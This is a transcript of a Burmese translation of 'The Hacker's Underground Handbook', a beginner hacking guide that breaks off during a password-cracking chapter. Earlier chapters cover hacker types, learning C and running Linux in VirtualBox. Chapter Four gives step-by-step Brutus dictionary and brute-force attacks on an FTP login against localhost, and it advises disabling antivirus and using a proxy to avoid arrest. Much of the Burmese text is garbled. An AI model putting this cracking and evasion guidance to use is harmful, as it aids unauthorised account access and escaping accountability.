The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္...

115

Transcript of The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္...

Page 1: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။
Page 2: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

The Hacker’s Underground Handbook က ဘာသာျပနထားတာပါ။ သ၍ တတ၍ ျပနျခငးမဟတ၊ မသ၍ မတတ၍ ျပးၿပဖတရႈခန၀ယ၊ မမတ၍ မမ၍ ျမနမာလ ေရးမတထားသညမားAား၊ ျဖတ၍ တ၍ Cut သငသညက Cut၊ ထပ၍ ၾကည၍ Add သငသညက Add၊ ဟတ၍ ဟ၍ (ဟယ… ဟတေသးပါဘး။ ကာရနမစUးစားတတေတာဘး။ ရးရးပေရးေတာမယ။) A ဒလေပါဗာ၊ ျမနမာလA ႀကမးမတထားတာေတြက ဘာသာျပနတယျဖစေA ာင နညးနညးထပလပၿပး ဟကငးက စတ၀ငစားၾကတ ေဘာေဘာေတြA တြက ဖတရA ဆငေျပေA ာင ျမနမာလမတစA ၾကမး ၀ငးေရးေပးျခငး ျဖစပါေၾကာငး…။ မတစA ၾကမးေရးသ ေခတ၁၀၀ ############ #### #### ######################## ######## ######## ######## ############ ############# # # # #### # # # # # # # # # # # # ######## #################### ################################ ################ ######### # # # #### #### ##### # # # ###### ## ## ## ######## #### ############ #### ################################ ################ # # # # #### ######## ############################ #### #### ######################## ######################## ################################ ################ ######################################## ######## ############################ ############################ ######################################## ################################################################################ ############################ ################ #################### #### ######## #################################################### #### ######################## ######## ############ ############################################################ ############################ ################################ ################ ############ ############################################ ################################################################################################################ ######################################## ######################################################## ######################################################## ######################## #################################### ######################################################## #### #################### ######################## ############ ######## ######################## ############# # # # ######## ############################################################################################ #### ################ #################################### ######################################### # # # #### # # # # ############ ######################## ######## ######################################################################################################################## ############################################ ############################ # # # # #### ######## ################################################ ############################################################################################################################ ############################################################ ######### # # # ######## ######################## ################ ############ ################################################################################################################################ ######################## ######################################### # # # ######## #### #################################### ######################################################################################################################################################################## #################################################################### ############### ### ### ### ################ #################################### ################ ######## #### ######## #### ############ ######## ################ ######## ######## ######## ################ ######## ####

@[email protected]@[email protected]

Page 3: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter One Introduction

Page 4: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ဟကာ ဆတာ ဘာလ

ဟကာဆတာ Aလကထေရာနစ ပစၥညးေတြ၊ ကြနပတာစနစေတြက Aလြနကလခငသေတြပါ။

ဟကာေတြဟာ ကြနပတာစနစေတြ Aလပလပပ က စးစမးေလလာခငသေတြျဖစၾကၿပး၊ Aဒစနစေတြ

ပမေကာငးမြနေAာင လပေဆာငႏငဖ႕ နညးလမးရာခငသေတြပါ။ ဟကာ ႏစမးရပါတယ။

White Hat - သတ႕ကေတာ လေကာငးေလးေတြAျဖစ သတမတၾကပါတယ။

ဒAျဖေရာငဟကာေလးမားဟာ သတ႕Aစြမးေတြက မသမာတရညရြယခကAတြက

Aသးမျပၾကပါဘး။ မားေသာAားျဖင သတ႕ဟာ Security ပငးမာ ဂရေတြ ျဖစလာၾကၿပး၊ Black Hat

ေတြရ႕ ရနကေန ကာကြယေပးတတၾကပါတယ။

Black Hat - သတ႕ကေတာ လဆးေလးေတြေပါ။ သတ႕ကေတာ သတစပါးထခကနစနာေစလတ

ရညရြယခကန႕ Aစြမးေတြက ထတသးၾကပါတယ။ ဘဏေတြက hack တာ၊ Credit card နပါတေတြ

ခးတာ၊ Website ေတြက Aးမညးသတတာ သတ႕ေတြေပါ။

လေကာငးေတြက Uးထပျဖေဆာငးၾကၿပး၊ လဆးေတြက Uးထပနကေဆာငးၾကတယဆတ

Aေနာကတငးေရးရပရငေတြကေန ဆငးသကလာတ စကားလးေတြပါ။

Hacker AဆငAတနးမား

Script kiddies - ဒAဆငကသေတြကေတာ ကယကယကယ ဟကာ ဂကဖမးေနသေတြပါ။

ဟကာေလာကမာေတာ သတ႕က ဘယသကမ Aဖကမလပၾကပါဘး။ ဘာလ႕လဆေတာ

ဟကာလ႕ေျပာလကရင ငဆးေတြလ႕ပ လေတြျမငၾကေAာင သတ႕လပတာေလ။ သတ႕မာ ဘာ

hacking စြမးရညမ မရပါဘး။ တစျခား ဟကာေတြေရးထားတ tools ေတြက ဘာမနးမသ ညာမနးမသ

သးေနၾကရတ သေတြပါ။

Intermediate hackers - သတ႕ကေတာ ကြနပတာေတြAေၾကာငး၊ network

ေတြAေၾကာငးသၾကၿပး၊ script တစခဘာလပတယဆတာက သႏငေလာကတ programming

knowledge ရၾကသေတြပါ။ ဒါေပမယ သတ႕လညး Script kiddies ေတြလပ သမားေရးထားတ

လသမားတ exploits ေတြက Aသးျပေနရသေတြပါ။

(Exploit ဆတာ ေဆာ၀လတစခရ႕ Aားနညးခက/ခ႕ယြငးခကေတြကတဆင computer system

တစခက ထနးခပႏငေAာင လပေပးတ code တစခ႕ပါ။)

Page 5: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

3l173 hackers

သတ႕ကေတာ ဟကာဂရႀကးေတြေပါ။ hacking tools ေတြ၊ exploits ေတြက

ေရးေနၾကသေတြေပါ။ သတ႕ဟာ system ေတြထ ေဖာက၀င၊ သတ႕ရ႕ေျခရာကေဖာကၿပး

တစေယာကေယာက လပသြားသလထငေAာင လပႏငၾကသေတြပါ။ ဒAဆငေရာကေAာင

ႀကးစားသငၾကပါတယ။

Hacker တစေယာကျဖစဖ႕ ဘာေတြလသလ

ဟကာဂရတစေယာကျဖစဖ႕Aတြက သပေတာ မလြယပါဘး။ ျမနျမနႀကးျဖစလာမာ

မဟတပါဘး။ ထးထြငးတထြငUာဏ A မားႀကးလပါတယ။ A ခကA ချပနာတစခက ေျဖရငးႏငတ

နညးလမးဟာ တစခတညးရတာမဟတသလ ဟကာတစေယာကဟာလညး A ခကA ခေပါငး 16000

န႕ ရငဆငရမာပါ။ ထးထြငးUာဏရေလ system တစခက A တားA ဆးမရ ထးေဖာကႏငဖ႕

A ခြငA လမးဟာလညး ပမားေလပါပ။ A ေရးႀကးတာေနာကတစခကေတာ သငယခငတ

ဆႏၵျပငးထနဖ႕ပါ။ A သUာဏပညာဟာ စြမးA ားဆတာ သတရပါ။ A ေၾကာငးေတာေတာမားမားဟာ

မတမဖ႕မလြယပါဘး၊ ဒါေၾကာင စတရညသညးခတတဖ႕လညး လပါတယ။

Page 6: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Two Programming

Page 7: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Programming Aေၾကာငး လး၀မသဘ တစျခားသေတြေရးထားတ Hacking tools ေတြက

Aသးခတတရန႕လညး သငတငတ ethical hacker တစေယာက ျဖစေကာငးျဖစလာႏငပါတယ။ ဒလ

tools ေတြက သးေနရငေတာ ဒ tools ေတြရ႕ Aလပလပပက ဘယေလာကသပါတယလ႕ ေျပာေျပာ

ကယက Script kiddies Aျဖစပ သတမတၾကပါလမမယ။ ဒါေၾကာင programming က

ေလလာသငတယလ႕ Aႀကေပးပါရေစ။ program ေတြေကာငးေကာငးေရးတတသြားရင exploits

ေတြကလညး ကယဟာကယ ေရးႏငၿပေပါ။ ဒလေရးႏငသြားရင ေAာကပါ ေကာငးကးႀကးေတြ

ခစားရပါလမမယ။

1. သငက ဟကာဂရ Aျဖစ သတမတၾကပါလမမယ။

2. သငဟာ site တစခရ႕ ဟာကြကတစခက ေတြ႕သြားတ black hat တစေယာက ဆၾကပါစ႕၊

ဘယသမ မသခင Aဒ ဟာကြကက ေကာငးေကာငးAသးခဖ႕ exploit တစခက ကယဟာကယ

ေရးလ႕ရၿပေပါ။

3. ကယပင program (သ႕) exploit တစခက ေရးသားဖနတးၿပးသြားခနမာ ကယဟာကယလညး

Aရမး Aားရေကနပမေနပါလမမယ။ (ေကနပAားရေစရမယလ႕ ကၽြနေတာ ကတေပးပါတယ)

မရငးေရးသေျပာတာေနာ

ဒါေၾကာင သမားေရးၿပးသား tool ေတြက သးေနရတ hacker Aျဖစန႕ ေကနပမေနပါန႕။

Programming Aေျခခေလးပျဖစျဖစ စတငသငယပါ။ သငက ဟကာေလာကသစႀကးက

ႀကဆေစာငေမာေနပါတယ။

ဘယက စတငေလလာရမလ?

Programming က စေလလာေတာမယဆရင လေတာေတာမားမား ဘယက စရမနး

မသၾကပါဘး။ Programming က စမေလလာခင HTML (Hyper Text Markup Language) က

AရငပငႏငေAာင ေလလာသငတယလ႕ ထငပါတယ။ Aငတာနကမာ သငAခ ေတြ႕ေနရတ website

စာမကႏာေတြAားလးက ဖနတးရာမာ HTML ဟာ Aဓကေနရာက ပါေနပါတယ။ HTML

ဟာသငယေလလာရလြယကပါတယ။

Aဒကမ တဆင ေနာကထပေလလာရမယ Programming Language ကေတာ C ပါ။ C ဟာ

လႀကကမားတ language တစချဖစၿပး ဒေန႕ေတြ႕ေနရတ Exploit ေတာေတာမားမားက C န႕

ေရးထားတာပါ။ ဒါတငမက Aစြမးထကလတ Hacking program ေတြ၊ ဒကေန႕ ေတြ႕ေနရတ Virus

ေတြကလညး C န႔ပ ေရးသားထားတာပါ။

Page 8: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Aေကာငးဆး ေလလာနညး

1. ကယေလလာဖ႕ ေရြးလကတ Language န႕ဆငတ စာAပေတြက ရာဖတပါ။

2. AဒစာAပက စၿပးေလလာၿပဆတာန႕ ဆကတကေလလာပါ။ သပAၾကာႀကး မနားပါန႕။

ဆလတာက ႏစရကေလာကဖတလက၊ ႏစပတေလာကနားလက မလပပါန႕။

Aၾကာႀကးနားလကရင ေနာကသငခနးစာေတြAတြက AေထာကAကျဖစတ ေရ႕ပငးက

ကယေလလာထားတာေတြ ေမသြားတတလ႕ပါ။

3. စာAပထမာ ေပးထားတ ေလကငခနး မနသမက လပပါ။ တတေျမာကဖ႕ဆတာ

သငယထားတာက Aသးခမ ျဖစမာပါ။

4. နားမလညတာ၊ မရငးတာ တစခခေတြ႕ရင Aဒါက ေကာမဖတပစပါန႕။ နားလညေAာင

ျပနေလလာပါ။ ဒါဟာ ေလလာရမယ နညးAမနပါပ။ Aႀကမႀကမျပနဖတတာေတာင

လး၀နားမလညဘးဆရင ကညေပးႏငမယ သတစေယာကေယာကရာပါ။

5. Programming Forum တစခက ၀ငပါ။ ကယေလလာေနတ Language န႕လညး ပတသက၊

user လညးမားမားရတ site ကရာပါ။ ကယနားမလညတာေတြက ကညေပးႏငမယသေတြ

Forum ေတြမာ ရတတၾကပါတယ။

6. လကေတြ႕ေရးသားၾကညပါ။ ကယေရးသားႏငမယ ေပာစရာ Program ေလးေတြက စUးစားၿပး

ကယတင ေရးသားၾကညပါ။

Page 9: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Three Linux

Page 10: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Aဒါ ဘာႀကးလ?

Linux ဆတာ Aလကားရၿပး UNIX န႕Aလားသ႑နတတ open-source OS တစခပါ။ Hacking

ဘာသာရပေတြက ေလလာစUတစေလာကမာ Linux OS က Aသးျပတတဖ႕ဆတာလညး

ဘယေလာကAေရးပါေၾကာငး သငေတြ႕ရမာပါ။ မယဘးလား? ဒါဆ ေနာကႏစခကေလာက

ထပေျပာလကမယ။

၁. Aငတာနကေပၚက ဆာဗာသနးေပါငးမားစြာဟာ Linux OS ေပၚမာ Run ေနၾကတာပါ။ ဒလ Web

Server ေတြက ထးေဖာကႏငေAာင ဒ OS ကေတာ ေလလာသငတာေပါ။

၂. Aေကာငးဆးဆတ Hacking Program တစခ႕က Linux ေပၚမာပ သးလ႕ရတယ။

Choosing a distribution

Linux Distribution တစခက Linux kernel လ႕လညး သတမတႏငပါတယ။ (Linux Kernel –

Operating System တစခရ႕ Aဓက component ေတြန႕ Aျခား application မား စစညးပါရ) Linux

က Aခမ စတငAသးျပသဆရင Ubuntu က စၿပး သးၾကညဖ႕ Aႀကျပခငပါတယ။ Ubuntu ဟာ

Install လပရလညးလြယ၊ Windows သးေနသေတြAတြက user friendly လညးျဖစပါတယ။

လႀကကမားေရပနးAစားဆး Linux Distribution မားက ဒလငခမာ သြားၾကညႏငပါတယ။

http://distrowatch.com

Running Linux

Live CD

Live CD ဟာ Linux distribution တစခက စမးသပသးစြၾကညဖ႕ ျဖစပါတယ။ Live CD ဟာ Disc

ေပၚကပ Boot လပသြားတာျဖစတAတြက OS က Hard drive ထ install လပထညစရာမလပါဘး။

Disc ေပၚကေန boot လပျခငးျဖစတAတြက system file ေတြကလညး ျပျပငေျပာငးလေပးလ႕

ရမာမဟတပါဘး။ Live CD န႕ A သးျပေနစUမာ လပေဆာငခကA ားလးက RAM ထမာ ယာယ

သမတထားတာပါ။ Live CD တစခပ ဘယလလပရမလဆတာ ေA ာကမာ ေဖာျပထားပါတယ။

၁. www.ubuntu.com မ Ubuntu Live CD .iso file က download လပယပါ။

ပ - 1. 2. 3. 4.

Page 11: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။
Page 12: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။
Page 13: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။
Page 14: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၂. IsoRecorder က Download လပၿပး စကထသြငးလကပါ။

http://isorecorder.alexfeinman.com/isorecorder.htm

ဒ software န႕ Ubuntu .iso file က စဒလြတတစခပေပၚသ႕ burn လပပါ။

၃. Burn ၿပးသြားတ CD က CD-ROM ထ ထညထားၿပး ကြနပတာက Restart လပပါ။

Aကယ၍ သငကြနပတာဟာ CD ကေန Boot မလပဘ၊ windows ကသာ ဆက Boot ေနရင

Boot order က ေျပာငးလေပးဖ႕ လပါလမမယ။ ကြနပတာ Restart လပေနခနမာ BIOS ထ

၀ငေျပာငးေပးရမာျဖစပါတယ။ BIOS ထ၀ငတ key ဟာ system တစခန႕ တစခ ကြျပားပါတယ။

မားေသာAားျဖင F10 (သ႕) DEL (သ႕) ESC key တ႕ က ႏပရပါမယ။ Boot စလပလပျခငး Screen

မာ To Enter Setup ဆၿပး ႏပဖ႕ key က ေရးျပထားေလရပါတယ။

ပ - 5.

Page 15: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

BIOS ထေရာကသြားရင Boot sequence ကေရြးၿပး CD-ROM က First boot device Aျဖစ ေရြးေပးပါ။ ပ - ၆၊ ၇

Page 16: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။
Page 17: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

CD-Rom ကေန Boot လပေပးလကၿပဆရင Ubuntu boot options screen က

ေAာကကAတငးျမငရပါလမမယ။

ပ- ၈

Page 18: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Virtual Box

Linux က ကယရ႕ windows ထမာပ Aသးျပခငတယဆရင Virtual Machine တစခက Virtual Box

န႕ Create လပၿပး သးစြႏငပါတယ။

၁. ပထမဆး Virtual Box က http://www.virtualbox.org/wiki/Downloads ကေန download

လပယပါ။

၂. ၿပးရင Install လပလကပါ။

၃. Run လကၿပး ထပဆးက New ဆတာက ႏပပါ။

ပ - ၉

Page 19: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၄. Next က ႏပပါ။ ပ - ၁၀

၅. Virtual Machine Aတြက နာမညေပးၿပး OS Type မာ Ubuntu က ေရြးေပးပါ။ ပ- ၁၁

Page 20: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၆. Linux က Run ဖ႕ Aတြက RAM ပမာဏက ေရြးေပးပါ။ ကယစကမာ တပထားတ RAM ပမာဏရ႕ 4

ပတစပ (သ႕) တစ၀က ေလာကေရြးေပးပါ။ ကၽြနေတာကေတာ 2 gigs RAM တပထားလ႕ 512 MB

ေရြးေပးပါတယ။

ပ- ၁၂

၇. Next က ႏပပါ။ ပ - ၁၃

Page 21: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၈. ကယ hard disk မာ Space ေတြAမားႀကး ရရင Dynamic Image ကေရြးေပးပါ။ ဒါဆ Program ေတြAမားႀကးသြငးဖ႕ Aဆငေျပမာပါ။ Space နညးေနရငေတာ Fixed-Size Image က ေရြးေပးပါ။ ပ - 14

၉. Virtual Hard Disk Size ပမာဏက သတမတေပးပါ။ ကၽြနေတာကေတာ Aနညးဆး 2 GB ေလာကထားပါတယ။ ပ - ၁၅

Page 22: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၀. Finish က ႏပလကပါ။ ပ - ၁၆

၁၁. Next က ႏပပါ။ ပ- ၁၇

Page 23: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၂. Finish က ႏပလကပါ။ ပ - ၁၈

၁၃. Aခ Main Page က ျပနေရာကသြားပါလမမယ။ CD/DVD-ROM က ကလစႏပပါ။ ပ - 19

Page 24: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၄. Mount CD/DVD Drive က Check ေပးၿပး စကထမာ Ubuntu Live CD ရ႕ ISO Image ဖင

ရေသးရင ISO Image File ကေရြးပါ။ မရေတာဘး၊ Aျပငမာ ေခြန႕ရရင Host CD/DVD Drive က

ေရြးေပးၿပး ေခြထည Run လ႕ရပါတယ။

ပ - 20

၁၅. Main Screen က Start ခလတက ႏပၿပး Virtual Machine က စတငလကပါ။ ပ - 21

Page 25: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Learning Linux

Linux က Aခ Run ေန၊ သးေနၿပဆရင ဘာေတြဘယလAသးျပရမလဆတာ သခငမာပါပ။

ကယေရြးခယလကတ Linux Distribution က ပငပငႏငႏင Aသးျပႏငဖ႕ စတငေလလာသငပါတယ။

Linux Distribution တငးမာ သငက ကညေပးႏငမယ Community ေတြ Aမားႀကးရၾကပါတယ။

Google န႕သာ ရာၾကညလကပါ။ Uပမာ - Ubuntu ကေရြးခယထားတယဆရငေတာ

http://ubuntuforums.org/ က သြားေရာကေလလာၾကညပါ။ Linux န႕ဆငတ စာAပေတြက ဖတပါ။

Linux Aေၾကာငး သငၾကားေပးတ Websites ေတြလညး Aမားႀကးရပါတယ။

Official Linux Website – http://www.linux.org/

Begin Linux – http://www.beginlinux.org/

Linux Tutorials – http://www.linux-tutorial.info/

Page 26: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Four Passwords

Page 27: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Website န႕ Computer System Aမားစရ႕ Security ပစဟာ Password ပါပ။ သင ကြနပတာ

(သ႕) Network က ကးေကာႏငဖ႕ Password crack ျခငးဟာ ေယဘယAကဆးန႕

Aလြယဆးနညးလမးတစခ ျဖစလာေနပါၿပ။

Password Cracking

(Social Engineering, Shoulder surfing န႕ Guessing ဆတ ေခတေဟာငးက low-tech password

cracking techniques ေတြAေၾကာငး မျပနေတာပါဘး။)

High-Tech Password Cracking နညးလမးAခ႕က ေလလာၾကညၾကရေAာင…

Aခေဖာျပမယ Example ေတြမာ Aသးျပမယ ပရဂရမတစခ႕က antivirus program ေတြက block

ပစႏငပါတယ။ ဒါေၾကာင ဒ ပရဂရမေတြက Download လပၿပး ေလလာၾကညမယလ႕ ဆးျဖတၿပးရင

Antivirus Program က Disable လပထားပါ။

Dictionary Attacks

ေပးေလေပးထရတ Password စကားလးေတြ ပါ၀ငတ Text File တစခက A သးျပၿပး

တကခကျခငးက Dictionary Attack လ႕ ေခၚပါတယ။ A ားေကာငးတ Password ေတြကေတာ

ဒနညးန႕ တကခကလ႕မရပါဘး။ ဒ Example မာေတာ Brutus လ႕ေခၚတ Password Cracker

တစခက A သးျပသြားပါမယ။FTP Server တစခရ႕ Password က ရာမာပါ။ Brutus က Windows

မာသာ A သးျပႏငပါတယ။ ဒ Chapter A ဆးမာ Windows ေကာ၊ Mac, Linux ေတြမာေကာ

A သးျပႏငမယ Password Cracker ေတြက ေဖာျပေပးပါမယ။ Example က စမေျပာခငမာ FTP

Server ဘာလဆတာ သထားဖ႕လပါတယ။ FTP – File Transfer Protocol. Internet မာ File ေတြ

လႊေျပာငးေပးဖ႕A တြက FTP ဟာ A ရးရငးဆးနညးလမးတစခပါ။ Website တစခရ႕ ftp access က

ဟကာတစေယာကရရသြားၿပဆရင A ဒ Server မာ သႀကကသလ Delete/Upload လပႏငပါၿပ။ ftp

address ဟာ Web address န႕ A လားသ႑နတပါတယ။ Website လပစာက ေရ႕က http:// ခသလ

ftp address က ေရ႕က ftp:// ခပါတယ။ ဒ Example က FTP Server ကေတာ ကယစကေပၚမာ Set

up လပထားတ FTP Server ပါ။ Brutus Program က ဒမာ http://www.hoobie.net/brutus/ မာ

Download လပယပါ။

၁. ပထမဆး ဟကာဟာ Target computer က ေရြးခယရပါမယ။ ဒ Example မာေတာ စာေရးသရ႕

ကြနပတာက A ေျခခၿပး ရငးျပထားတာ ျဖစတA တြက သ႕ကြနပတာရ႕ IP Address က 127.0.0.1

ျဖစပါတယ။

Page 28: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၂. ftp://127.0.0.1 က သြားလကတာန႕ User Name န႕ Password ေတာငးတ Pop-up box တစခ

ေပၚလာပါမယ။

ပ - 22

၃. ေနာက.. ဟကာဟာ Brutus လ program တစခက ဖြငၿပး Password က စၿပး Crack

ဖ႕ႀကးစားပါမယ။

ပ - 23

၄. Target ေနရာမာ website ရ႕ IP Address ကထညၿပး ညာဘကက Type မာေတာ

သငေတာရာတစခက ေရြးေပးရပါမယ။ ဒမာေတာ FTP ကေရြးပါမယ။

၅. Default port ကေတာ 21 ကေရြးထားေပးၿပးသားပါ။ ဒါေပမယ တစခ႕ website ေတြကေတာ

ပမလၿခမႈရေစရန ေျပာငးလထားတတပါတယ။

Page 29: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၆. FTP Server ရ႕ User name က မသဘးဆရင AေပးAမားဆး User name ေတြန႕

ရာေပးပါလမမယ။

၇. Dictionary Attack ျဖစတA တြက Pass Mode က Word List ေရြးေပးရပါမယ။ Word List

ေတြပါတ ဖငက Pass File ေနရာမာ browse လပေရြးထညေပးရပါမယ။ ျပညစေကာငးမြနတ

Password list ဖငေတြက http://packetstormsecurity.org/Crackers/wordlists/ ကေန

ရယႏငပါတယ။ Username န႕ Password list ေတြရ႕ နမနာပစေတြပါ။

ပ - 24. 25

Page 30: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၈. Start ကႏပလကတာန႕ ပရဂရမဟာစၿပး Server ကဆကသြယဖ႕ ႀကးပမးပါလမမယ။ ၿပးေတာ

ကယထညေပးထားတ word list ေတြထကေန ျဖစႏငေခရတ username န႕ password က

စရာပါလမမယ။

ပ - 26

၉. ကေကာငးတယဆရငေတာ ေနာကဆးမာ Username န႕ Password က ရသြားပါလမမယ။

ေAာကကပမာေတာ Username – admin န႕ Password – password ဆတ မနကနတ username

ရယ၊ password ရယ ရသြားပါတယ။

ပ - 27

Page 31: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၀. ပါးနပတ ဟကာတစေယာကဟာ ဒလပရဂရမေတြက သးၿပဆရင Proxy န႕ပ သးေလရပါတယ။

ကယရ႕ IP Address က Proxy က ဖးAပထားေပးပါတယ။ ဘာလ႕ Proxy က သးရလဆေတာ

ေAာကပမာ ျမငရတAတငးပ Brutus ဟာ Target Server ထ ကယ၀ငသြားတယဆတာက Log ေတြ

Aမားႀကး ခနထားခပါတယ။

ပ - 28

၁၁. Aေပၚပထက IP Address 127.0.0.1 ဆတ ေနရာမာ တကယ Attack လပတAခနမာ Proxy

မသးဘးဆရင ဟကာရ႕ Aငပ ေပၚေနမာျဖစပါတယ။ ေဖာကသြားတ ဟကာဟာ

ဒလေျခရာကနခမေတာ Aဖမးခရၿပေပါ။

Page 32: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Brute-force Attacks

Brute-force Attack ဟာ password Aမနက မေတြ႕မခငး ျဖစႏငေခရတ letters ေတြ၊ number

ေတြ၊ Special character ေတြရ႕ တြစပၿပး ရာပါတယ။ Brute-force Attack ဟာ Aခနမားစြာ

ၾကာႏငပါတယ။ ၾကာျမငခနဟာ password ရ႕ ရႈပေထြးမႈ၊ cracking program က Run ေနတ

ကြနပတာရ႕ Speed ေတြAေပၚမာ မတညပါတယ။

Aခ ခနက FTP Server ကပ၊ Brutus ကသးၿပးပ Brute-force Attack န႕ password က Crack

လပပါမယ။

၁. Dictionary Attack လပခတနးကလပ Target, Type န႕ Port ေတြက ေရြးေပးပါ။ Pass Mode မာ

Brute Force ကေရြးၿပး Range က ႏပပါ။

ပ - 29

Page 33: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၂. Password က ဘာေတြျဖစႏငမယဆတာက သတယဆရငေတာ မနမနကနကန

ေရြးေပးႏငပါလမမယ။ Uပမာ - Aဒဆဒဟာ password Aနညးဆး ဘယႏစလးရရမယလ႕

သတမတထားတယဆရင Minimum Length မာAဒါက ေရြးထညေပးလကပါ။ ဒါဆရင ရာရတာ

ပလြယ၊ ပျမနသြားပါမယ။

ပ - 30

၃. ဒ Uပမာမာေတာ ဒတယA နညးဆး combination ျဖစတ Lowercase Alpha ကပ

ေရြးလပထားပါတယ။ ဒါေတာင ျဖစႏငေခရတ Password Combination ေပါငး 321, 272,407 ခ

ထြကလာပါတယ။ Password တစခက Crack ဖ႕ဆတာ ဘယေလာကၾကာလ A ခ သၿပေပါ။

ပ - 31

Page 34: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Rainbow Tables

Rainbow table ဆတာ ျဖစႏငေခရတ စာလးAတြေတြရ႕ hash value

ႀကတငတြကခကထားတ List Aႀကးႀကးက ေခၚတာပါ။ Password hash ဆတာကေတာ password

တစခက သခာၤAယလဂရသမနညးတစခန႕ ေျပာငးလလကတာက ဆလပါတယ။ Hash ဆတာက

one way encryption လ႕ဆၾကပါတယ။ ဒါေၾကာင password တစခက hash လပလကရင Aဒ hash

string ကေန မလရကထားတ စာေတြက ျပနၿပး ေဖာလ႕ (decrypt လပလ႕) မရပါဘး။ ဒေတာ

